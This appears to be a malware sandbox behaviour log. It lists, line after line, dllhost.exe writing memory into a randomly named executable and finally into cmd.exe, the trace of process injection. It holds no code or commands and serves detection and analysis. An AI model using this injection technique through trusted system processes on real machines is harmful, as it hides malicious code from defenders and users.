Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2920000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2D80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2FB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3140000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 21E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2420000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2AE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2220000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2840000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 21E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2CC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2780000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2B20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2120000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 21B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2490000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 26B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2960000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2830000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2850000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3000000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3020000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2770000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2BE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2310000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2600000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2DE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2C10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2D40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1550000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1220000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2CF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2930000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 24B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 24D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 26F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2710000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2800000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: CC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2970000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1490000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 810000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3060000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2050000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2070000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2240000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 5D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 5F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: E30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1370000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 630000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: DE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: E00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1180000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1230000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 9E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\cmd.exe base: 2512A6B0000
